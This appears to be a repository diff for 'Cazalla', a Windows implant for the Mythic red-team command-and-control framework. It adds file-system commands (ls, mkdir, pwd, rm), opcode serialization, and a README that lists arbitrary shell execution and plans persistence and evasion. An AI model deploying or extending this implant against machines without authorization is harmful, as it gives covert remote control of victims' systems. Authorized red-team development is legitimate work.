from mythic_container.MythicRPC import *
|
||||||
|
import re
|
||||||
|
import string, json
|
||||||
|
|
||||||
|
import logging
|
||||||
|
|
||||||
|
logging.basicConfig(level=logging.INFO)
|
||||||
|
|
||||||
|
class LsArguments(TaskArguments):
|
||||||
|
def __init__(self, command_line, **kwargs):
|
||||||
|
super().__init__(command_line, **kwargs)
|
||||||
|
self.args = [
|
||||||
|
CommandParameter(
|
||||||
|
name="path",
|
||||||
|
type=ParameterType.String,
|
||||||
|
description="Path del fichero o de la carpeta del sistema",
|
||||||
|
parameter_group_info=[ParameterGroupInfo(
|
||||||
|
required=False
|
||||||
|
)]
|
||||||
|
),
|
||||||
|
]
|
||||||
|
|
||||||
|
async def parse_arguments(self):
|
||||||
|
logging.info("Parse Aguments")
|
||||||
|
pass
|
||||||
|
|
||||||
|
async def parse_dictionary(self, dictionary):
|
||||||
|
logging.info("Parse Dictionary")
|
||||||
|
if "host" in dictionary:
|
||||||
|
|
||||||
|
logging.info(f"Command came from File Browser UI - {dictionary}")
|
||||||
|
self.add_arg("path", dictionary["path"] + "\\" + dictionary["file"])
|
||||||
|
# self.add_arg("file_browser", type=ParameterType.Boolean, value=True)
|
||||||
|
else:
|
||||||
|
logging.info(f"Command came from CMDLINE - {dictionary}")
|
||||||
|
|
||||||
|
arg_path = dictionary.get("path")
|
||||||
|
if arg_path:
|
||||||
|
self.add_arg("path", arg_path)
|
||||||
|
else:
|
||||||
|
self.add_arg("path", ".\\*") # List current directory if no args
|
||||||
|
|
||||||
|
self.add_arg("file_browser", "true")
|
||||||
|
|
||||||
|
self.load_args_from_dictionary(dictionary)
|
||||||
|
|
||||||
|
class LsCommand(CommandBase):
|
||||||
|
cmd = "ls"
|
||||||
|
needs_admin = False
|
||||||
|
help_cmd = "ls [directorio]"
|
||||||
|
description = "listado de informacion del <directorio>"
|
||||||
|
version = 1
|
||||||
|
supported_ui_features = ["file_browser:list"]
|
||||||
|
author = "Kaseya OFSTeam"
|
||||||
|
attackmapping = ["T1106", "T1083"]
|
||||||
|
argument_class = LsArguments
|
||||||
|
browser_script = BrowserScript(
|
||||||
|
script_name="ls", author="Kaseya OFSTeam", for_new_ui=True
|
||||||
|
)
|
||||||
|
attributes = CommandAttributes(
|
||||||
|
builtin=False,
|
||||||
|
supported_os=[ SupportedOS.Windows ],
|
||||||
|
suggested_command=True
|
||||||
|
)
|
||||||
|
|
||||||
|
# async def create_tasking(self, task: MythicTask) -> MythicTask:
|
||||||
|
# task.display_params = task.args.get_arg("command")
|
||||||
|
# return task
|
||||||
|
|
||||||
|
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
|
||||||
|
response = PTTaskCreateTaskingMessageResponse(
|
||||||
|
TaskID=taskData.Task.ID,
|
||||||
|
Success=True,
|
||||||
|
)
|
||||||
|
|
||||||
|
path = taskData.args.get_arg("path")
|
||||||
|
logging.info(f"create_go_tasking - path : {path}")
|
||||||
|
response.DisplayParams = path
|
||||||
|
|
||||||
|
#
|
||||||
|
if uncmatch := re.match(r"^\\\\(?P<host>[^\\]+)\\(?P<path>.*)$", path):
|
||||||
|
taskData.args.add_arg("host", uncmatch.group("host"))
|
||||||
|
taskData.args.set_arg("path", uncmatch.group("path"))
|
||||||
|
else:
|
||||||
|
# Set the host argument to an empty string if it does not exist
|
||||||
|
taskData.args.add_arg("host", "")
|
||||||
|
if host := taskData.args.get_arg("host"):
|
||||||
|
host = host.upper()
|
||||||
|
|
||||||
|
# Resolve 'localhost' and '127.0.0.1' aliases
|
||||||
|
if host == "127.0.0.1" or host.lower() == "localhost":
|
||||||
|
host = taskData.Callback.Host
|
||||||
|
|
||||||
|
taskData.args.set_arg("host", host)
|
||||||
|
|
||||||
|
return response
|
||||||
|
|
||||||
|
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
|
||||||
|
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
|
||||||
|
return resp
|
||||||
@@ -0,0 +1,55 @@
|
|||||||
|
from mythic_container.MythicCommandBase import *
|
||||||
|
from mythic_container.MythicRPC import *
|
||||||
|
|
||||||
|
|
||||||
|
class MkdirArguments(TaskArguments):
|
||||||
|
def __init__(self, command_line, **kwargs):
|
||||||
|
super().__init__(command_line, **kwargs)
|
||||||
|
self.args = [
|
||||||
|
CommandParameter(
|
||||||
|
name="path",
|
||||||
|
type=ParameterType.String,
|
||||||
|
description="Ruta en la que crear el nuevo directorio",
|
||||||
|
parameter_group_info=[ParameterGroupInfo(
|
||||||
|
required=True
|
||||||
|
)]
|
||||||
|
),
|
||||||
|
]
|
||||||
|
|
||||||
|
async def parse_arguments(self):
|
||||||
|
if len(self.command_line) == 0:
|
||||||
|
raise ValueError("Es necesario agregar una ruta en la que crear el directorio")
|
||||||
|
self.add_arg("path", self.command_line)
|
||||||
|
|
||||||
|
async def parse_dictionary(self, dictionary):
|
||||||
|
self.load_args_from_dictionary(dictionary)
|
||||||
|
|
||||||
|
class MkdirCommand(CommandBase):
|
||||||
|
cmd = "mkdir"
|
||||||
|
needs_admin = False
|
||||||
|
help_cmd = "mkdir C:\\nuevo\\directorio"
|
||||||
|
description = "Crea un nuevo directorio."
|
||||||
|
version = 1
|
||||||
|
author = "Kaseya OFSTeam"
|
||||||
|
attackmapping = []
|
||||||
|
argument_class = MkdirArguments
|
||||||
|
attributes = CommandAttributes(
|
||||||
|
builtin=False,
|
||||||
|
supported_os=[ SupportedOS.Windows ],
|
||||||
|
suggested_command=False
|
||||||
|
)
|
||||||
|
|
||||||
|
# async def create_tasking(self, task: MythicTask) -> MythicTask:
|
||||||
|
# task.display_params = task.args.get_arg("command")
|
||||||
|
# return task
|
||||||
|
|
||||||
|
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
|
||||||
|
response = PTTaskCreateTaskingMessageResponse(
|
||||||
|
TaskID=taskData.Task.ID,
|
||||||
|
Success=True,
|
||||||
|
)
|
||||||
|
return response
|
||||||
|
|
||||||
|
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
|
||||||
|
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
|
||||||
|
return resp
|
||||||
@@ -0,0 +1,43 @@
|
|||||||
|
from mythic_container.MythicCommandBase import *
|
||||||
|
from mythic_container.MythicRPC import *
|
||||||
|
|
||||||
|
|
||||||
|
class PwdArguments(TaskArguments):
|
||||||
|
def __init__(self, command_line, **kwargs):
|
||||||
|
super().__init__(command_line, **kwargs)
|
||||||
|
self.args = []
|
||||||
|
|
||||||
|
async def parse_arguments(self):
|
||||||
|
if len(self.command_line) > 0:
|
||||||
|
raise ValueError("Pwd no necesita parametros.")
|
||||||
|
|
||||||
|
|
||||||
|
class PwdCommand(CommandBase):
|
||||||
|
cmd = "pwd"
|
||||||
|
needs_admin = False
|
||||||
|
help_cmd = "pwd"
|
||||||
|
description = "Muestra el directorio actual"
|
||||||
|
version = 1
|
||||||
|
author = "Kaseya OFSTeam"
|
||||||
|
attackmapping = []
|
||||||
|
argument_class = PwdArguments
|
||||||
|
attributes = CommandAttributes(
|
||||||
|
builtin=False,
|
||||||
|
supported_os=[ SupportedOS.Windows ],
|
||||||
|
suggested_command=False
|
||||||
|
)
|
||||||
|
|
||||||
|
# async def create_tasking(self, task: MythicTask) -> MythicTask:
|
||||||
|
# task.display_params = task.args.get_arg("command")
|
||||||
|
# return task
|
||||||
|
|
||||||
|
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
|
||||||
|
response = PTTaskCreateTaskingMessageResponse(
|
||||||
|
TaskID=taskData.Task.ID,
|
||||||
|
Success=True,
|
||||||
|
)
|
||||||
|
return response
|
||||||
|
|
||||||
|
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
|
||||||
|
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
|
||||||
|
return resp
|
||||||
@@ -0,0 +1,56 @@
|
|||||||
|
from mythic_container.MythicCommandBase import *
|
||||||
|
from mythic_container.MythicRPC import *
|
||||||
|
|
||||||
|
|
||||||
|
class RmArguments(TaskArguments):
|
||||||
|
def __init__(self, command_line, **kwargs):
|
||||||
|
super().__init__(command_line, **kwargs)
|
||||||
|
self.args = [
|
||||||
|
CommandParameter(
|
||||||
|
name="path",
|
||||||
|
type=ParameterType.String,
|
||||||
|
description="ruta al fichero o directorio",
|
||||||
|
parameter_group_info=[ParameterGroupInfo(
|
||||||
|
required=True
|
||||||
|
)]
|
||||||
|
),
|
||||||
|
]
|
||||||
|
|
||||||
|
async def parse_arguments(self):
|
||||||
|
if len(self.command_line) == 0:
|
||||||
|
raise ValueError("Debe introducir una ruta a un fichero o directorio")
|
||||||
|
self.add_arg("path", self.command_line)
|
||||||
|
|
||||||
|
async def parse_dictionary(self, dictionary):
|
||||||
|
self.load_args_from_dictionary(dictionary)
|
||||||
|
|
||||||
|
class RmCommand(CommandBase):
|
||||||
|
cmd = "rm"
|
||||||
|
needs_admin = False
|
||||||
|
help_cmd = "rm C:\\ruta\\al\\DirectorioOFichero"
|
||||||
|
description = "Elimina un fichero o un directorio"
|
||||||
|
version = 1
|
||||||
|
supported_ui_features = ["file_browser:remove"]
|
||||||
|
author = "Kaseya OFSTeam"
|
||||||
|
attackmapping = []
|
||||||
|
argument_class = RmArguments
|
||||||
|
attributes = CommandAttributes(
|
||||||
|
builtin=False,
|
||||||
|
supported_os=[ SupportedOS.Windows ],
|
||||||
|
suggested_command=False
|
||||||
|
)
|
||||||
|
|
||||||
|
# async def create_tasking(self, task: MythicTask) -> MythicTask:
|
||||||
|
# task.display_params = task.args.get_arg("command")
|
||||||
|
# return task
|
||||||
|
|
||||||
|
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
|
||||||
|
response = PTTaskCreateTaskingMessageResponse(
|
||||||
|
TaskID=taskData.Task.ID,
|
||||||
|
Success=True,
|
||||||
|
)
|
||||||
|
return response
|
||||||
|
|
||||||
|
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
|
||||||
|
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
|
||||||
|
return resp
|
||||||
@@ -0,0 +1,58 @@
|
|||||||
|
function(task, responses) {
|
||||||
|
if (task.status.includes("error")) {
|
||||||
|
const combined = responses.reduce((prev, cur) => prev + cur, "");
|
||||||
|
return { 'plaintext': combined };
|
||||||
|
} else if (responses.length > 0) {
|
||||||
|
// Parse the output data
|
||||||
|
const output = responses.reduce((prev, cur) => prev + cur, "").split("\n").filter(line => line.trim() !== "");
|
||||||
|
if (output.length <= 2) {
|
||||||
|
return { 'plaintext': "No directory contents found." };
|
||||||
|
}
|
||||||
|
|
||||||
|
// Extract path and rows
|
||||||
|
const pathLine = output[1];
|
||||||
|
const dataLines = output.slice(2);
|
||||||
|
|
||||||
|
// Prepare the table structure
|
||||||
|
const formattedResponse = {
|
||||||
|
headers: [
|
||||||
|
{ plaintext: "Type", type: "string", width: 60, disableSort: true },
|
||||||
|
{ plaintext: "Size", type: "string", width: 80, disableSort: true },
|
||||||
|
{ plaintext: "Date Modified", type: "string", fillWidth: true },
|
||||||
|
{ plaintext: "Name", type: "string", fillWidth: true }
|
||||||
|
],
|
||||||
|
title: `Contents of ${pathLine}\n`,
|
||||||
|
rows: []
|
||||||
|
};
|
||||||
|
|
||||||
|
// Format rows for table
|
||||||
|
dataLines.forEach(line => {
|
||||||
|
const parts = line.split("\t");
|
||||||
|
if (parts.length === 4) {
|
||||||
|
const [type, size, modified, name] = parts;
|
||||||
|
formattedResponse.rows.push({
|
||||||
|
Type: {
|
||||||
|
plaintext: type === "D" ? "Directory" : "File",
|
||||||
|
cellStyle: {},
|
||||||
|
},
|
||||||
|
Size: {
|
||||||
|
plaintext: type === "D" ? "-" : size + " bytes",
|
||||||
|
cellStyle: {},
|
||||||
|
},
|
||||||
|
"Date Modified": {
|
||||||
|
plaintext: modified,
|
||||||
|
cellStyle: {},
|
||||||
|
},
|
||||||
|
Name: {
|
||||||
|
plaintext: name,
|
||||||
|
cellStyle: {},
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
return { table: [formattedResponse] };
|
||||||
|
} else {
|
||||||
|
return { 'plaintext': "No response yet from agent..." };
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -7,7 +7,13 @@ commands = {
|
|||||||
"shell": {"hex_code": 0x54, "input_type": "string"},
|
"shell": {"hex_code": 0x54, "input_type": "string"},
|
||||||
"exit": {"hex_code": 0x80, "input_type": None},
|
"exit": {"hex_code": 0x80, "input_type": None},
|
||||||
"sleep": {"hex_code": 0x38, "input_type": "int"},
|
"sleep": {"hex_code": 0x38, "input_type": "int"},
|
||||||
"ps": {"hex_code": 0x15, "input_type": None}
|
"ps": {"hex_code": 0x15, "input_type": None},
|
||||||
|
"cd": {"hex_code": 0x20, "input_type": "string"},
|
||||||
|
"ls": {"hex_code": 0x21, "input_type": "string"},
|
||||||
|
"pwd": {"hex_code": 0x22, "input_type": None},
|
||||||
|
"cp": {"hex_code": 0x23, "input_type": "string"},
|
||||||
|
"mkdir": {"hex_code": 0x24, "input_type": "string"},
|
||||||
|
"rm": {"hex_code": 0x25, "input_type": "string"}
|
||||||
}
|
}
|
||||||
|
|
||||||
def responseTasking(tasks):
|
def responseTasking(tasks):
|
||||||
@@ -18,6 +24,8 @@ def responseTasking(tasks):
|
|||||||
|
|
||||||
for task in tasks:
|
for task in tasks:
|
||||||
command_to_run = task["command"]
|
command_to_run = task["command"]
|
||||||
|
print(f"\n[DEBUG] Preparando comando: {command_to_run}")
|
||||||
|
print(f"[DEBUG] Tipo input: {commands[command_to_run]['input_type']}")
|
||||||
command_code = commands[command_to_run]["hex_code"].to_bytes(1, "big")
|
command_code = commands[command_to_run]["hex_code"].to_bytes(1, "big")
|
||||||
|
|
||||||
task_id = task["id"].encode()
|
task_id = task["id"].encode()
|
||||||
@@ -25,8 +33,11 @@ def responseTasking(tasks):
|
|||||||
task_id_serialized = len(task_id_bytes).to_bytes(4, "big") + task_id_bytes
|
task_id_serialized = len(task_id_bytes).to_bytes(4, "big") + task_id_bytes
|
||||||
|
|
||||||
if commands[command_to_run]["input_type"] is None: # Comandos sin parámetros como "ps"
|
if commands[command_to_run]["input_type"] is None: # Comandos sin parámetros como "ps"
|
||||||
|
print("[DEBUG] Entrando en rama input_type=None")
|
||||||
data = command_code + task_id_serialized
|
data = command_code + task_id_serialized
|
||||||
task_size = len(data)
|
task_size = len(data)
|
||||||
|
print(f"[DEBUG] Tamaño de tarea: {task_size}")
|
||||||
|
print(f"[DEBUG] Datos de tarea (hex): {data.hex()}")
|
||||||
dataTask += task_size.to_bytes(4, "big") + data
|
dataTask += task_size.to_bytes(4, "big") + data
|
||||||
|
|
||||||
print("input_type: None")
|
print("input_type: None")
|
||||||
@@ -58,7 +69,7 @@ def responseTasking(tasks):
|
|||||||
|
|
||||||
dataToSend = dataHead + dataTask
|
dataToSend = dataHead + dataTask
|
||||||
print("estamos en el dataToSend\n")
|
print("estamos en el dataToSend\n")
|
||||||
print(dataToSend)
|
print(dataToSend.hex())
|
||||||
return dataToSend
|
return dataToSend
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
@@ -4,7 +4,41 @@ Cazalla is a basic Windows implant written in C, designed to interface with the
|
|||||||
|
|
||||||
This project was developed based on the article [How to build your own Mythic agent in C](https://red-team-sncf.github.io/how-to-create-your-own-mythic-agent-in-c.html) and serves as an initial version of an implant with room for future improvements.
|
This project was developed based on the article [How to build your own Mythic agent in C](https://red-team-sncf.github.io/how-to-create-your-own-mythic-agent-in-c.html) and serves as an initial version of an implant with room for future improvements.
|
||||||
|
|
||||||
Cazalla is developed by the OFSTeam at Kaseya. Currently, it only supports the `exit` and `shell` commands, but additional functionality is planned for future updates.
|
Cazalla is developed by the OFSTeam at Kaseya.
|
||||||
|
|
||||||
|
## Supported Commands
|
||||||
|
|
||||||
|
Commands are organized by category for better clarity and extensibility.
|
||||||
|
|
||||||
|
### 📁 File System Commands
|
||||||
|
| Command | Description | Status |
|
||||||
|
|---------|--------------------------|---------|
|
||||||
|
| `cd` | Change working directory | ✅ |
|
||||||
|
| `ls` | List directory contents | ✅ |
|
||||||
|
| `pwd` | Print working directory | ✅ |
|
||||||
|
| `cp` | Copy an existing file | ✅ |
|
||||||
|
| `mkdir` | Create a new directory | ✅ |
|
||||||
|
| `rm` | Delete file/directory | ✅ |
|
||||||
|
|
||||||
|
### 🖥️ Console Commands
|
||||||
|
| Command | Description | Status |
|
||||||
|
|---------|-------------------------------------|--------|
|
||||||
|
| `shell`| Execute arbitrary shell command | ✅ |
|
||||||
|
|
||||||
|
### 🔄 Execution Control
|
||||||
|
| Command | Description | Status |
|
||||||
|
|---------|-------------------|--------|
|
||||||
|
| `exit` | Exit the implant | ✅ |
|
||||||
|
| `sleep`| Modify sleep time | ✅ |
|
||||||
|
|
||||||
|
### 🧠 System Inspection
|
||||||
|
| Command | Description | Status |
|
||||||
|
|---------|-----------------------|--------|
|
||||||
|
| `ps` | List running processes| ✅ |
|
||||||
|
|
||||||
|
> 🔧 To add a new command, see the [Creating New Commands](#creating-new-commands) section below.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
## Install Cazalla
|
## Install Cazalla
|
||||||
|
|
||||||
@@ -14,10 +48,6 @@ Once Mythic is installed and running, use the following command to install Cazal
|
|||||||
./mythic-cli install github <repository-url>
|
./mythic-cli install github <repository-url>
|
||||||
```
|
```
|
||||||
|
|
||||||
## Detection
|
|
||||||
|
|
||||||
A YARA rule can be provided for detection purposes.
|
|
||||||
|
|
||||||
## Communication Protocol
|
## Communication Protocol
|
||||||
|
|
||||||
### HEADER - Implant to C2
|
### HEADER - Implant to C2
|
||||||
@@ -179,7 +209,79 @@ Expected:
|
|||||||
|---------------|-------------------|-------------|
|
|---------------|-------------------|-------------|
|
||||||
| Status Resp1 | 1 | Int |
|
| Status Resp1 | 1 | Int |
|
||||||
|
|
||||||
|
## Creating New Commands
|
||||||
|
|
||||||
|
### 📦 Mythic Side (Python)
|
||||||
|
|
||||||
|
To add a new command in Mythic, create a `.py` file inside the agent's command folder (e.g., `shell.py`). A basic structure includes:
|
||||||
|
|
||||||
|
- TaskArguments class
|
||||||
|
- CommandBase class
|
||||||
|
|
||||||
|
Example: `shell.py`
|
||||||
|
|
||||||
|
```python
|
||||||
|
class ShellArguments(TaskArguments):
|
||||||
|
def __init__(self, command_line, **kwargs):
|
||||||
|
...
|
||||||
|
self.args = [
|
||||||
|
CommandParameter(name="command", type=ParameterType.String, ...)
|
||||||
|
]
|
||||||
|
|
||||||
|
class ShellCommand(CommandBase):
|
||||||
|
cmd = "shell"
|
||||||
|
...
|
||||||
|
async def create_tasking(self, task: MythicTask):
|
||||||
|
...
|
||||||
|
|
||||||
|
async def process_response(self, task, response):
|
||||||
|
...
|
||||||
|
|
||||||
|
```
|
||||||
|
### 🧠 C2 Side (Python - `commands_from_c2.py`)
|
||||||
|
|
||||||
|
Update the commands dictionary with a unique hex code and input type:
|
||||||
|
|
||||||
|
```python
|
||||||
|
commands = {
|
||||||
|
...
|
||||||
|
"newcmd": {"hex_code": 0xAB, "input_type": "string"}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
Update `responseTasking` to handle serialization of the new command’s parameters.
|
||||||
|
|
||||||
|
### 💻 Implant Side (C)
|
||||||
|
|
||||||
|
Update the following files:
|
||||||
|
|
||||||
|
`comandos.h`
|
||||||
|
```c
|
||||||
|
#define NEWCMD_CMD 0xAB
|
||||||
|
BOOL ejecutarNuevoCmd(PAnalizador argumentos);
|
||||||
|
```
|
||||||
|
`comandos.c`
|
||||||
|
Add your command logic in `handleGetTasking()`:
|
||||||
|
```c
|
||||||
|
else if (tarea == NEWCMD_CMD) {
|
||||||
|
ejecutarNuevoCmd(analizadorTarea);
|
||||||
|
}
|
||||||
|
```
|
||||||
|
`nuevo_cmd.c` and `nuevo_cmd.h`
|
||||||
|
Create your new command implementation.
|
||||||
|
```c
|
||||||
|
BOOL ejecutarNuevoCmd(PAnalizador argumentos) {
|
||||||
|
// handle parsing and execution here
|
||||||
|
}
|
||||||
|
```
|
||||||
|
Don’t forget to add the source file to the build and include its header where needed.
|
||||||
|
|
||||||
## Future Development
|
## Future Development
|
||||||
|
|
||||||
This is an initial version of Cazalla with limited functionality. Currently, it only supports the `exit` and `shell` commands. Future updates will introduce additional commands and improvements to enhance its capabilities.
|
Planned improvements:
|
||||||
|
|
||||||
|
- Full implementation of pwd
|
||||||
|
- Additional file system and process control commands
|
||||||
|
- File upload/download
|
||||||
|
- Persistence and evasion mechanisms
|
||||||
|
|
||||||
|
Made with ☕ by the Kaseya OFSTeam
|
||||||
Reference in New Issue
Block a user